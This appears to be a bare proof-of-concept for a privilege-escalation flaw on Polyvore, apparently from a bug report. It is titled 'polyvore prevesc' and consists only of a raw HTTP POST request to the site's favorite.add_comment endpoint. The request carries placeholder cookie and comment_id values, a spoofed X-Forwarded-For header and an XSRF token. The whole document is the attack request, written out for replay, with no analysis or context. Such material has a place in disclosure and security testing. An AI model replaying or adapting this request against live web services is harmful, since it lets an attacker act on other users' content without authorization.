polyvore prevesc

POST /cgi/favorite.add_comment HTTP/1.1
Host: www.polyvore.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.polyvore.com/cgi/collection?id=5796800
Content-Length: 238
Cookie: <cookie>
X-Forwarded-For: 21.12.12.21
Connection: keep-alive

.in=json&.out=json&request={"id":"<comment_id>","context":"lookbook",".passback":{"grid_idx_2x2":298,"grid_fallback":1},".xsrf":"MjA4ODk5ODgsMTQ3MTkyNjU0NiwwMjAyZTk3MTkzMGUzNGYyMmJjMTc1ZmNlN2RiNzEwMzVhNzUyNTY3Y2UyNTVkMWI1N2EwMGIyZWEzMWE5MjA0"}